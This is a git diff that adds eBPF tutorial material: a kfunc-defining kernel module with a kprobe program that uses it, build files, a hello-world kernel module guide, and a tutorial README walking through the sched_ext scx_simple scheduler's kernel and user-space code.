+SEC("kprobe/do_unlinkat") +int handle_kprobe(void *ctx) +{ + pid_t pid = bpf_get_current_pid_tgid() >> 32; + char str[] = "Hello, world!"; + char substr[] = "wor"; + u32 result = bpf_strstr(str, sizeof(str) - 1, substr, sizeof(substr) - 1); + if (result != -1) + { + bpf_printk("'%s' found in '%s' at index %d\n", substr, str, result); + } + bpf_printk("Hello, world! (pid: %d) bpf_strstr %d\n", pid, result); + return 0; +} diff --git a/src/43-kfuncs/kfunc.c b/src/43-kfuncs/kfunc.c new file mode 100644 index 00000000..d7bb134e --- /dev/null +++ b/src/43-kfuncs/kfunc.c @@ -0,0 +1,76 @@ +#include +#include +#include +#include +#include + +#include "kfunc.skel.h" // Include the generated skeleton header + +static volatile bool exiting = false; + +// Signal handler for graceful termination +void handle_signal(int sig) { + exiting = true; +} + +int main(int argc, char **argv) { + struct kfunc_bpf *skel; + int err; + + // Handle SIGINT and SIGTERM for graceful shutdown + signal(SIGINT, handle_signal); + + // Open the BPF application + skel = kfunc_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open BPF skeleton\n"); + return 1; + } + + // Load & verify the BPF program + err = kfunc_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton: %d\n", err); + goto cleanup; + } + + // Attach the BPF program (e.g., attach kprobe) + err = kfunc_bpf__attach(skel); + if (err) { + fprintf(stderr, "Failed to attach BPF skeleton: %d\n", err); + goto cleanup; + } + + printf("BPF program loaded and attached successfully. Press Ctrl-C to exit.\n"); + + // Optionally, read the trace_pipe to see bpf_printk outputs + FILE *trace_pipe = fopen("/sys/kernel/debug/tracing/trace_pipe", "r"); + if (!trace_pipe) { + perror("fopen trace_pipe"); + // Continue without reading trace_pipe + } + + // Main loop + while (!exiting) { + if (trace_pipe) { + char buffer[256]; + if (fgets(buffer, sizeof(buffer), trace_pipe)) { + printf("%s", buffer); + } else { + if (errno == EINTR) + break; + } + } else { + // If trace_pipe is not available, just sleep + sleep(1); + } + } + + if (trace_pipe) + fclose(trace_pipe); + +cleanup: + // Clean up and destroy the BPF program + kfunc_bpf__destroy(skel); + return err < 0 ? -err : 0; +} diff --git a/src/43-kfuncs/module/.gitignore b/src/43-kfuncs/module/.gitignore new file mode 100644 index 00000000..9523173a --- /dev/null +++ b/src/43-kfuncs/module/.gitignore @@ -0,0 +1,23 @@ +# Ignore object files and kernel modules +*.o +*.ko +*.mod +*.mod.c +*.symvers +*.order + +# Ignore temporary and backup files +*~ +*.bak +*.tmp +*.swp + +# Ignore build directory if generated +/Module.symvers +/Modules.markers +/Module.markers +/modules.order + +# Ignore other automatically generated files +*.cmd +.tmp_versions/ diff --git a/src/43-kfuncs/module/Makefile b/src/43-kfuncs/module/Makefile new file mode 100644 index 00000000..44afa319 --- /dev/null +++ b/src/43-kfuncs/module/Makefile @@ -0,0 +1,11 @@ +obj-m += hello.o # hello.o is the target + +# Enable BTF generation +KBUILD_CFLAGS += -g -O2 + +all: + # Compile the module with BTF information + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/src/43-kfuncs/module/README.txt b/src/43-kfuncs/module/README.txt new file mode 100644 index 00000000..d2dfadad --- /dev/null +++ b/src/43-kfuncs/module/README.txt @@ -0,0 +1,134 @@ +# write a basic kernel module + +## hello world + +Writing a Linux kernel module involves creating code that can be loaded into and unloaded from the kernel dynamically, without rebooting the system. Here’s a simple step-by-step guide to help you write a basic kernel module: + +### 1. Set Up Your Environment + +Make sure you have the Linux kernel headers installed and a suitable development environment ready. For Ubuntu or Debian, install them with: + +```bash +sudo apt-get install linux-headers-$(uname -r) build-essential +``` + +### 2. Write the Kernel Module Code + +Here’s an example of a very basic Linux kernel module: + +```c +// hello.c: A simple Linux kernel module +#include // Macros for module initialization +#include // Core header for loading modules +#include // Kernel logging macros + +// Function executed when the module is loaded +static int __init hello_init(void) +{ + printk(KERN_INFO "Hello, world!\n"); + return 0; // Return 0 if successful +} + +// Function executed when the module is removed +static void __exit hello_exit(void) +{ + printk(KERN_INFO "Goodbye, world!\n"); +} + +// Macros to define the module’s init and exit points +module_init(hello_init); +module_exit(hello_exit); + +MODULE_LICENSE("GPL"); // License type (GPL) +MODULE_AUTHOR("Your Name"); // Module author +MODULE_DESCRIPTION("A simple module"); // Module description +MODULE_VERSION("1.0"); // Module version +``` + +### 3. Create a Makefile + +To compile the kernel module, you’ll need a `Makefile`. Here's a simple one: + +```makefile +obj-m += hello.o # hello.o is the target + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +``` + +### 4. Compile the Module + +Run the following command in the directory where your `hello.c` and `Makefile` are located: + +```bash +make +``` + +This will generate a file called `hello.ko`, which is the compiled kernel module. + +### 5. Load the Module + +To insert the module into the kernel, use `insmod`: + +```bash +sudo insmod hello.ko +``` + +### 6. Check the Logs + +To see the output from the `printk` statements, use the `dmesg` command: + +```bash +dmesg | tail +``` + +You should see something like: + +```txt +[ 1234.5678] Hello, world! +``` + +### 7. Remove the Module + +To unload the module, use `rmmod`: + +```bash +sudo rmmod hello +``` + +Again, check the logs using `dmesg`: + +```bash +sudo dmesg | tail +``` + +You should see: + +```txt +[ 1234.9876] Goodbye, world! +``` + +### 8. Clean Up + +To clean up the build files, run: + +```bash +make clean +``` + +### Notes + +- **License**: The `MODULE_LICENSE("GPL")` ensures the module is GPL-compliant, which allows it to use symbols (functions) exported by the kernel. +- **Debugging**: Use `printk` for logging within the module. It behaves similarly to `printf` but is designed for kernel space. +- **Module Parameters**: You can add parameters to modules using `module_param()` to pass arguments when the module is loaded. + +### Next Steps + +Once you are familiar with this basic example, you can explore: + +- Writing more advanced modules that interact with hardware or the filesystem. +- Using kernel-specific APIs like work queues, kthreads, or handling interrupts. +- Diving into eBPF or loadable kernel module techniques for debugging and tracing kernel events. diff --git a/src/43-kfuncs/module/README.zh.txt b/src/43-kfuncs/module/README.zh.txt new file mode 100644 index 00000000..d2dfadad --- /dev/null +++ b/src/43-kfuncs/module/README.zh.txt @@ -0,0 +1,134 @@ +# write a basic kernel module + +## hello world + +Writing a Linux kernel module involves creating code that can be loaded into and unloaded from the kernel dynamically, without rebooting the system. Here’s a simple step-by-step guide to help you write a basic kernel module: + +### 1. Set Up Your Environment + +Make sure you have the Linux kernel headers installed and a suitable development environment ready. For Ubuntu or Debian, install them with: + +```bash +sudo apt-get install linux-headers-$(uname -r) build-essential +``` + +### 2. Write the Kernel Module Code + +Here’s an example of a very basic Linux kernel module: + +```c +// hello.c: A simple Linux kernel module +#include // Macros for module initialization +#include // Core header for loading modules +#include // Kernel logging macros + +// Function executed when the module is loaded +static int __init hello_init(void) +{ + printk(KERN_INFO "Hello, world!\n"); + return 0; // Return 0 if successful +} + +// Function executed when the module is removed +static void __exit hello_exit(void) +{ + printk(KERN_INFO "Goodbye, world!\n"); +} + +// Macros to define the module’s init and exit points +module_init(hello_init); +module_exit(hello_exit); + +MODULE_LICENSE("GPL"); // License type (GPL) +MODULE_AUTHOR("Your Name"); // Module author +MODULE_DESCRIPTION("A simple module"); // Module description +MODULE_VERSION("1.0"); // Module version +``` + +### 3. Create a Makefile + +To compile the kernel module, you’ll need a `Makefile`. Here's a simple one: + +```makefile +obj-m += hello.o # hello.o is the target + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +``` + +### 4. Compile the Module + +Run the following command in the directory where your `hello.c` and `Makefile` are located: + +```bash +make +``` + +This will generate a file called `hello.ko`, which is the compiled kernel module. + +### 5. Load the Module + +To insert the module into the kernel, use `insmod`: + +```bash +sudo insmod hello.ko +``` + +### 6. Check the Logs + +To see the output from the `printk` statements, use the `dmesg` command: + +```bash +dmesg | tail +``` + +You should see something like: + +```txt +[ 1234.5678] Hello, world! +``` + +### 7. Remove the Module + +To unload the module, use `rmmod`: + +```bash +sudo rmmod hello +``` + +Again, check the logs using `dmesg`: + +```bash +sudo dmesg | tail +``` + +You should see: + +```txt +[ 1234.9876] Goodbye, world! +``` + +### 8. Clean Up + +To clean up the build files, run: + +```bash +make clean +``` + +### Notes + +- **License**: The `MODULE_LICENSE("GPL")` ensures the module is GPL-compliant, which allows it to use symbols (functions) exported by the kernel. +- **Debugging**: Use `printk` for logging within the module. It behaves similarly to `printf` but is designed for kernel space. +- **Module Parameters**: You can add parameters to modules using `module_param()` to pass arguments when the module is loaded. + +### Next Steps + +Once you are familiar with this basic example, you can explore: + +- Writing more advanced modules that interact with hardware or the filesystem. +- Using kernel-specific APIs like work queues, kthreads, or handling interrupts. +- Diving into eBPF or loadable kernel module techniques for debugging and tracing kernel events. diff --git a/src/43-kfuncs/module/compact.h b/src/43-kfuncs/module/compact.h new file mode 100644 index 00000000..5ff2115f --- /dev/null +++ b/src/43-kfuncs/module/compact.h @@ -0,0 +1,11 @@ +// Compatible for lower kernel versions. No need in 6.11. +#ifndef BTF_SET8_KFUNCS +/* This flag implies BTF_SET8 holds kfunc(s) */ +#define BTF_SET8_KFUNCS (1 << 0) +#endif +#ifndef BTF_KFUNCS_START +#define BTF_KFUNCS_START(name) static struct btf_id_set8 __maybe_unused name = { .flags = BTF_SET8_KFUNCS }; +#endif +#ifndef BTF_KFUNCS_END +#define BTF_KFUNCS_END(name) +#endif diff --git a/src/43-kfuncs/module/hello.c b/src/43-kfuncs/module/hello.c new file mode 100644 index 00000000..6691b013 --- /dev/null +++ b/src/43-kfuncs/module/hello.c @@ -0,0 +1,89 @@ +#include // Macros for module initialization +#include // Core header for loading modules +#include // Kernel logging macros +#include +#include +#include + +__bpf_kfunc int bpf_strstr(const char *str, u32 str__sz, const char *substr, u32 substr__sz); + +/* Define a kfunc function */ +__bpf_kfunc_start_defs(); + +__bpf_kfunc int bpf_strstr(const char *str, u32 str__sz, const char *substr, u32 substr__sz) +{ + // Edge case: if substr is empty, return 0 (assuming empty string is found at the start) + if (substr__sz == 0) + { + return 0; + } + // Edge case: if the substring is longer than the main string, it's impossible to find + if (substr__sz > str__sz) + { + return -1; // Return -1 to indicate not found + } + + // Iterate through the main string, considering the size limit + for (size_t i = 0; i <= str__sz - substr__sz; i++) + { + size_t j = 0; + // Compare the substring with the current position in the string + while (j < substr__sz && str[i + j] == substr[j]) + { + j++; + } + // If the entire substring was found + if (j == substr__sz) + { + return i; // Return the index of the first match + } + } + // Return -1 if the substring is not found + return -1; +} + +__bpf_kfunc_end_defs(); + +BTF_KFUNCS_START(bpf_kfunc_example_ids_set) +BTF_ID_FLAGS(func, bpf_strstr) +BTF_KFUNCS_END(bpf_kfunc_example_ids_set) + +// Register the kfunc ID set +static const struct btf_kfunc_id_set bpf_kfunc_example_set = { + .owner = THIS_MODULE, + .set = &bpf_kfunc_example_ids_set, +}; + +// Function executed when the module is loaded +static int __init hello_init(void) +{ + int ret; + + printk(KERN_INFO "Hello, world!\n"); + // Register the BTF kfunc ID set + ret = register_btf_kfunc_id_set(BPF_PROG_TYPE_KPROBE, &bpf_kfunc_example_set); + if (ret) + { + pr_err("bpf_kfunc_example: Failed to register BTF kfunc ID set\n"); + return ret; + } + printk(KERN_INFO "bpf_kfunc_example: Module loaded successfully\n"); + return 0; // Return 0 if successful +} + +// Function executed when the module is removed +static void __exit hello_exit(void) +{ + // Unregister the BTF kfunc ID set + // unregister_btf_kfunc_id_set(BPF_PROG_TYPE_UNSPEC, &bpf_kfunc_example_set); + printk(KERN_INFO "Goodbye, world!\n"); +} + +// Macros to define the module’s init and exit points +module_init(hello_init); +module_exit(hello_exit); + +MODULE_LICENSE("GPL"); // License type (GPL) +MODULE_AUTHOR("Your Name"); // Module author +MODULE_DESCRIPTION("A simple module"); // Module description +MODULE_VERSION("1.0"); // Module version diff --git a/src/44-scx-simple/.config b/src/44-scx-simple/.config new file mode 100644 index 00000000..29189131 --- /dev/null +++ b/src/44-scx-simple/.config @@ -0,0 +1,2 @@ +level=Depth +type=Scheduler diff --git a/src/44-scx-simple/.gitignore b/src/44-scx-simple/.gitignore new file mode 100644 index 00000000..683466d8 --- /dev/null +++ b/src/44-scx-simple/.gitignore @@ -0,0 +1,2 @@ +scx_simple +.output diff --git a/src/44-scx-simple/Makefile b/src/44-scx-simple/Makefile new file mode 100644 index 00000000..b506f35b --- /dev/null +++ b/src/44-scx-simple/Makefile @@ -0,0 +1,144 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../third_party/blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../third_party/libbpf/include/uapi -Iinclude/ -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = scx_simple + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -mlittle-endian -g -O2 -mcpu=v3 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(Q)$(BPFTOOL) gen object $(<:.o=.linked1.o) $< + $(Q)$(BPFTOOL) gen object $(<:.o=.linked2.o) $(<:.o=.linked1.o) + $(Q)$(BPFTOOL) gen object $(<:.o=.linked3.o) $(<:.o=.linked2.o) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< name $(APPS) > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/44-scx-simple/README.md b/src/44-scx-simple/README.md new file mode 100644 index 00000000..fa3f101c --- /dev/null +++ b/src/44-scx-simple/README.md @@ -0,0 +1,382 @@ +# eBPF Tutorial: Introduction to the BPF Scheduler + +Welcome to our deep dive into the world of eBPF with a focus on the BPF scheduler! If you're looking to extend your eBPF knowledge beyond the basics, you're in the right place. + +In this tutorial, we'll explore the **scx_simple scheduler**, a minimal example of the sched_ext scheduler class introduced in Linux kernel version `6.12`. We'll walk you through its architecture, how it leverages BPF programs to define scheduling behavior, and guide you through compiling and running the example. By the end, you'll have a solid understanding of how to create and manage advanced scheduling policies using eBPF. + +> The complete source code: + +## Understanding the Extensible BPF Scheduler + +At the heart of this tutorial is the **sched_ext** scheduler class. Unlike traditional schedulers, sched_ext allows its behavior to be defined dynamically through a set of BPF programs, making it highly flexible and customizable. This means you can implement any scheduling algorithm on top of sched_ext, tailored to your specific needs. + +### Key Features of sched_ext + +**sched_ext** offers flexible scheduling algorithms by allowing the implementation of any scheduling policy through BPF programs. It supports dynamic CPU grouping, enabling the BPF scheduler to group CPUs as needed without binding tasks to specific CPUs upon wakeup. The scheduler can be enabled or disabled at runtime without requiring a system reboot. In terms of system integrity, if the BPF scheduler encounters errors, the system gracefully reverts to the default scheduling behavior. Additionally, sched_ext provides comprehensive debugging support through the `sched_ext_dump` tracepoint and SysRq key sequences. + +With these features, sched_ext provides a robust foundation for experimenting with and deploying advanced scheduling strategies. + +## Introducing scx_simple: A Minimal sched_ext Scheduler + +The **scx_simple** scheduler is a straightforward example of a sched_ext scheduler in the Linux tools. It's designed to be easy to understand and serves as a foundation for more complex scheduling policies. scx_simple can operate in two modes: **Global Weighted Virtual Time (vtime) Mode**, which prioritizes tasks based on their virtual time, allowing for fair scheduling across different workloads, and **FIFO (First-In-First-Out) Mode**, a simple queue-based scheduling where tasks are executed in the order they arrive. + +scx_simple is particularly effective on single-socket CPUs with a uniform L3 cache topology. While the global FIFO mode can handle many workloads efficiently, it's essential to note that saturating threads might overshadow less active ones. Therefore, scx_simple is best suited for environments where a straightforward scheduling policy meets the performance and fairness requirements. + +While scx_simple is minimalistic, it can be deployed in production settings under the right conditions. It is best suited for systems with single-socket CPUs and uniform cache architectures. Additionally, it is ideal for workloads that don't require intricate scheduling policies and can benefit from simple FIFO or weighted vtime scheduling. + +## Into the Code: Kernel and User-Space Analysis + +Let's explore how scx_simple is implemented both in the kernel and user-space. We'll start by presenting the complete code snippets and then break down their functionalities. + +### Kernel-Side Implementation + +```c +#include + +char _license[] SEC("license") = "GPL"; + +const volatile bool fifo_sched; + +static u64 vtime_now; +UEI_DEFINE(uei); + +/* + * Built-in DSQs such as SCX_DSQ_GLOBAL cannot be used as priority queues + * (meaning, cannot be dispatched to with scx_bpf_dispatch_vtime()). We + * therefore create a separate DSQ with ID 0 that we dispatch to and consume + * from. If scx_simple only supported global FIFO scheduling, then we could + * just use SCX_DSQ_GLOBAL. + */ +#define SHARED_DSQ 0 + +struct { + __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); + __uint(key_size, sizeof(u32)); + __uint(value_size, sizeof(u64)); + __uint(max_entries, 2); /* [local, global] */ +} stats SEC(".maps"); + +static void stat_inc(u32 idx) +{ + u64 *cnt_p = bpf_map_lookup_elem(&stats, &idx); + if (cnt_p) + (*cnt_p)++; +} + +static inline bool vtime_before(u64 a, u64 b) +{ + return (s64)(a - b) < 0; +} + +s32 BPF_STRUCT_OPS(simple_select_cpu, struct task_struct *p, s32 prev_cpu, u64 wake_flags) +{ + bool is_idle = false; + s32 cpu; + + cpu = scx_bpf_select_cpu_dfl(p, prev_cpu, wake_flags, &is_idle); + if (is_idle) { + stat_inc(0); /* count local queueing */ + scx_bpf_dispatch(p, SCX_DSQ_LOCAL, SCX_SLICE_DFL, 0); + } + + return cpu; +} + +void BPF_STRUCT_OPS(simple_enqueue, struct task_struct *p, u64 enq_flags) +{ + stat_inc(1); /* count global queueing */ + + if (fifo_sched) { + scx_bpf_dispatch(p, SHARED_DSQ, SCX_SLICE_DFL, enq_flags); + } else { + u64 vtime = p->scx.dsq_vtime; + + /* + * Limit the amount of budget that an idling task can accumulate + * to one slice. + */ + if (vtime_before(vtime, vtime_now - SCX_SLICE_DFL)) + vtime = vtime_now - SCX_SLICE_DFL; + + scx_bpf_dispatch_vtime(p, SHARED_DSQ, SCX_SLICE_DFL, vtime, + enq_flags); + } +} + +void BPF_STRUCT_OPS(simple_dispatch, s32 cpu, struct task_struct *prev) +{ + scx_bpf_consume(SHARED_DSQ); +} + +void BPF_STRUCT_OPS(simple_running, struct task_struct *p) +{ + if (fifo_sched) + return; + + /* + * Global vtime always progresses forward as tasks start executing. The + * test and update can be performed concurrently from multiple CPUs and + * thus racy. Any error should be contained and temporary. Let's just + * live with it. + */ + if (vtime_before(vtime_now, p->scx.dsq_vtime)) + vtime_now = p->scx.dsq_vtime; +} + +void BPF_STRUCT_OPS(simple_stopping, struct task_struct *p, bool runnable) +{ + if (fifo_sched) + return; + + /* + * Scale the execution time by the inverse of the weight and charge. + * + * Note that the default yield implementation yields by setting + * @p->scx.slice to zero and the following would treat the yielding task + * as if it has consumed all its slice. If this penalizes yielding tasks + * too much, determine the execution time by taking explicit timestamps + * instead of depending on @p->scx.slice. + */ + p->scx.dsq_vtime += (SCX_SLICE_DFL - p->scx.slice) * 100 / p->scx.weight; +} + +void BPF_STRUCT_OPS(simple_enable, struct task_struct *p) +{ + p->scx.dsq_vtime = vtime_now; +} + +s32 BPF_STRUCT_OPS_SLEEPABLE(simple_init) +{ + return scx_bpf_create_dsq(SHARED_DSQ, -1); +} + +void BPF_STRUCT_OPS(simple_exit, struct scx_exit_info *ei) +{ + UEI_RECORD(uei, ei); +} + +SCX_OPS_DEFINE(simple_ops, + .select_cpu = (void *)simple_select_cpu, + .enqueue = (void *)simple_enqueue, + .dispatch = (void *)simple_dispatch, + .running = (void *)simple_running, + .stopping = (void *)simple_stopping, + .enable = (void *)simple_enable, + .init = (void *)simple_init, + .exit = (void *)simple_exit, + .name = "simple"); +``` + +#### Kernel-Side Breakdown + +The kernel-side implementation of scx_simple defines how tasks are selected, enqueued, dispatched, and managed. Here's a high-level overview: + +**Initialization and Licensing:** The scheduler is licensed under GPL. A global variable `fifo_sched` determines the scheduling mode (FIFO or weighted vtime). + +**Dispatch Queue (DSQ) Management:** A shared DSQ (`SHARED_DSQ`) with ID 0 is created to handle task dispatching. A `stats` map tracks the number of tasks queued locally and globally. + +**CPU Selection (`simple_select_cpu`):** This function selects the CPU for a waking task. If the selected CPU is idle, the task is immediately dispatched to the local DSQ. + +**Task Enqueueing (`simple_enqueue`):** Depending on the `fifo_sched` flag, tasks are either dispatched to the shared DSQ in FIFO mode or to a priority queue based on virtual time. Virtual time (`vtime`) ensures fair scheduling by accounting for task execution time and weight. + +**Task Dispatching (`simple_dispatch`):** This function consumes tasks from the shared DSQ and assigns them to CPUs. + +**Running and Stopping Tasks (`simple_running` & `simple_stopping`):** These functions manage the progression of virtual time for tasks, ensuring that scheduling decisions remain fair and balanced. + +**Enabling and Exiting:** Handles the enabling of the scheduler and records exit information for debugging. + +This modular structure allows scx_simple to be both simple and effective, providing a clear example of how to implement custom scheduling policies using eBPF. + +### User-Space Implementation + +```c +static void read_stats(struct scx_simple *skel, __u64 *stats) +{ + int nr_cpus = libbpf_num_possible_cpus(); + __u64 cnts[2][nr_cpus]; + __u32 idx; + + memset(stats, 0, sizeof(stats[0]) * 2); + + for (idx = 0; idx < 2; idx++) { + int ret, cpu; + + ret = bpf_map_lookup_elem(bpf_map__fd(skel->maps.stats), + &idx, cnts[idx]); + if (ret < 0) + continue; + for (cpu = 0; cpu < nr_cpus; cpu++) + stats[idx] += cnts[idx][cpu]; + } +} + +int main(int argc, char **argv) +{ + struct scx_simple *skel; + struct bpf_link *link; + __u32 opt; + __u64 ecode; + + libbpf_set_print(libbpf_print_fn); + signal(SIGINT, sigint_handler); + signal(SIGTERM, sigint_handler); +restart: + skel = SCX_OPS_OPEN(simple_ops, scx_simple); + + while ((opt = getopt(argc, argv, "fvh")) != -1) { + switch (opt) { + case 'f': + skel->rodata->fifo_sched = true; + break; + case 'v': + verbose = true; + break; + default: + fprintf(stderr, help_fmt, basename(argv[0])); + return opt != 'h'; + } + } + + SCX_OPS_LOAD(skel, simple_ops, scx_simple, uei); + link = SCX_OPS_ATTACH(skel, simple_ops, scx_simple); + + while (!exit_req && !UEI_EXITED(skel, uei)) { + __u64 stats[2]; + + read_stats(skel, stats); + printf("local=%llu global=%llu\n", stats[0], stats[1]); + fflush(stdout); + sleep(1); + } + + bpf_link__destroy(link); + ecode = UEI_REPORT(skel, uei); + scx_simple__destroy(skel); + + if (UEI_ECODE_RESTART(ecode)) + goto restart; + return 0; +} +``` + +The complete code can be found in + +#### User-Space Breakdown + +The user-space component is responsible for interacting with the BPF scheduler, managing its lifecycle, and monitoring its performance. + +**Statistics Collection (`read_stats`):** This function reads the number of tasks queued locally and globally from the BPF maps and aggregates statistics across all CPUs for reporting. + +**Main Function Workflow:** The main function sets up libbpf, handles signal interrupts, and opens the scx_simple BPF skeleton. It processes command-line options to toggle FIFO scheduling and verbosity, loads the BPF program, and attaches it to the scheduler. The program enters a monitoring loop where it continuously reads and prints scheduling statistics every second. Upon termination, it cleans up by destroying BPF links and handling potential restarts based on exit codes. + +This user-space program provides a straightforward interface to monitor and control the scx_simple scheduler, making it easier to understand its behavior in real-time. + +## Deep Dive into Key Concepts + +To fully grasp how scx_simple operates, let's explore some of the underlying concepts and mechanisms. + +### Dispatch Queues (DSQs) + +DSQs are central to sched_ext's operation, acting as buffers where tasks are queued before being dispatched to CPUs. They can function as either FIFO queues or priority queues based on virtual time. + +Local DSQs (`SCX_DSQ_LOCAL`) ensure that each CPU has its own queue, allowing tasks to be dispatched and consumed efficiently without contention. The Global DSQ (`SCX_DSQ_GLOBAL`) serves as a shared queue where tasks from all CPUs can be queued, providing a fallback when local queues are empty. Developers can also create custom DSQs using `scx_bpf_create_dsq()` for more specialized scheduling needs. + +### Virtual Time (vtime) + +Virtual time is a mechanism to ensure fairness in scheduling by tracking how much time a task has consumed relative to its weight. In scx_simple's weighted vtime mode, tasks with higher weights consume virtual time more slowly, allowing lower-weighted tasks to run more frequently. + +### Scheduling Cycle + +Understanding the scheduling cycle is crucial for modifying or extending scx_simple. The following steps detail how a waking task is scheduled and executed: + +**Task Wakeup and CPU Selection:** When a task wakes up, `ops.select_cpu()` is invoked. This function provides a suggested CPU for the task to run on and can wake up idle CPUs to prepare them for task execution. If the selected CPU is idle, the task is immediately dispatched to the local DSQ, potentially reducing scheduling latency. + +**Immediate Dispatch from `ops.select_cpu()`:** A task can be dispatched directly to a Dispatch Queue (DSQ) from `ops.select_cpu()`. If dispatched to `SCX_DSQ_LOCAL`, the task is placed in the local DSQ of the selected CPU, skipping the `ops.enqueue()` callback. + +**Task Enqueueing (`ops.enqueue()`):** If the task was not dispatched in the previous step, `ops.enqueue()` is invoked. This function can dispatch the task to the global DSQ, a local DSQ, or a custom DSQ based on the `fifo_sched` flag and 